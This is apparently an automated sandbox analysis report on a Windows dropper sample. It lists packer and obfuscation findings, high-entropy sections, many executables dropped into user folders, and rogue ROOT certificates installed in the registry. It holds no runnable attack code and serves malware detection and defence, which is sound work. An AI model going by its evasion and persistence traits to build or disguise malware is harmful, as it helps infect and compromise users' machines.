Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Users\kkelsch\Documents\PushNotifications\PushSharp\PushSharp-master\PushSharp.Core\obj\Debug\PushSharp.Core.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.000000000574A000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000428D000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000004418000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\Microsoft Enterprise Library January 2006\src\Data\obj\Debug\Microsoft.Practices.EnterpriseLibrary.Data.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Unpacked PE file: 7.2.lrPP7Py6j59vWWqs5P8cBSO1.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Unpacked PE file: 8.2.pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Unpacked PE file: 13.2.tDrDIT3EJ93dpzmmxTIMr4ah.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Unpacked PE file: 17.2.smXaUwB1apxcy5uQ1QhDrzwt.exe.b10000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;

Binary contains a suspicious time stamp

Source: TrIR3OjzF5zT6wur9yJ59R0V.exe.0.dr

Static PE information: 0xC2FA201D [Mon Aug 28 18:55:25 2073 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_00418BB0 LoadLibraryA,GetProcAddress,

8_2_00418BB0

Entry point lies outside standard sections

Source: initial sample

Static PE information: section where entry point is pointing to: .themida

PE file contains an invalid checksum

Source: 1sMfNqnOFjTOadWc0yClvu5P.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x7e8b1
Source: 7725eaa6592c80f8124e769b4e8a07f7[1].exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4331ad
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x5f719
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74b751
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1458c
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3157b5
Source: FXnrFSfIY3onUvtSB3cuKesF.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4e3d77
Source: bbd637be[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x32634
Source: 060[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4e3d77
Source: cad54ba5b01423b1af8ec10ab5719d97[1].exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4364e3
Source: N_fzNzObxT0UJ9JQqz4nPKUC.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x32634
Source: gEsYklrF8leHWug4608tQIe6.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x74b751
Source: _MpzZq9udo_WMns6EY9VnO9e.exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4364e3
Source: vLezrpzeJwHmxmMpZ0dBr09m.exe.0.dr	Static PE information: real checksum: 0x42bca6 should be: 0x4331ad
Source: buben[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3157b5

PE file contains sections with non-standard names

Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: tZvjMg3Hw9.exe	Static PE information: section name: .themida
Source: Space1.9_menu[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: Space1.9_menu[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: tDrDIT3EJ93dpzmmxTIMr4ah.exe.0.dr	Static PE information: section name: .MPRESS1
Source: tDrDIT3EJ93dpzmmxTIMr4ah.exe.0.dr	Static PE information: section name: .MPRESS2
Source: 123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 123p[1].exe.0.dr	Static PE information: section name: .text2
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .00cfg
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .text0
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .text1
Source: c7pGL4_L_P3yOlPkhT4UG9k1.exe.0.dr	Static PE information: section name: .text2
Source: Default15_big[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: Default15_big[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .MPRESS1
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .MPRESS2
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe.0.dr	Static PE information: section name: .MPRESS1
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe.0.dr	Static PE information: section name: .MPRESS2
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.0.dr	Static PE information: section name: .MPRESS1
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.0.dr	Static PE information: section name: .MPRESS2
Source: gEsYklrF8leHWug4608tQIe6.exe.0.dr	Static PE information: section name: .sxdata
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.0.dr	Static PE information: section name: .Right
Source: 1sMfNqnOFjTOadWc0yClvu5P.exe.0.dr	Static PE information: section name: .Right
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name: .themida
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .00cfg
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .text0
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .text1
Source: dckuybanmlgp.exe.9.dr	Static PE information: section name: .text2

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D5CB8 push 00408ECBh; ret	0_3_041D5CE3
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D1108 push 00404391h; ret	0_3_041D11A9
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D4E84 push ecx; mov dword ptr [esp], eax	0_3_041D4E89
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D3338 push 00406555h; ret	0_3_041D336D
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BAB8D push edx; retf	0_3_041BAC0A
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BAB8D push edx; retf	0_3_041BAC0A
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BB818 push esi; iretd	0_3_041BB837
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D5CB8 push 00408ECBh; ret	0_3_041D5CE3
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BA910 push cs; iretd	0_3_041BA917
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D1108 push 00404391h; ret	0_3_041D11A9
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BE60C push cs; ret	0_3_041BE60F
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041B965C push esi; ret	0_3_041B96B8
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BCE43 push ebx; retf	0_3_041BCE65
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D4E84 push ecx; mov dword ptr [esp], eax	0_3_041D4E89
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D3338 push 00406555h; ret	0_3_041D336D
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041BAB8D push edx; retf	0_3_041BAC0A

Source: tZvjMg3Hw9.exe	Static PE information: section name: entropy: 7.705476439156376
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.999649688016574
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.99052780466811
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.820875432384983
Source: buben[1].exe.0.dr	Static PE information: section name: entropy: 7.992787647902555
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.999649688016574
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.99052780466811
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.820875432384983
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name: entropy: 7.992787647902555
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name: entropy: 7.999611881196484

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Drops PE files

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Space1.9_menu[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L54T1.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\buben[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File created: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	File created: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L99RE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-E8REQ.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-1NPB1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-INE33.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-Q23S7.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-5MHG6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	File created: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L6RND.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\bbd637be[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-FLU1L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-9KGTB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Default15_big[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlx[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P9O5E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\softjenimmp3converter.exe	Jump to dropped file
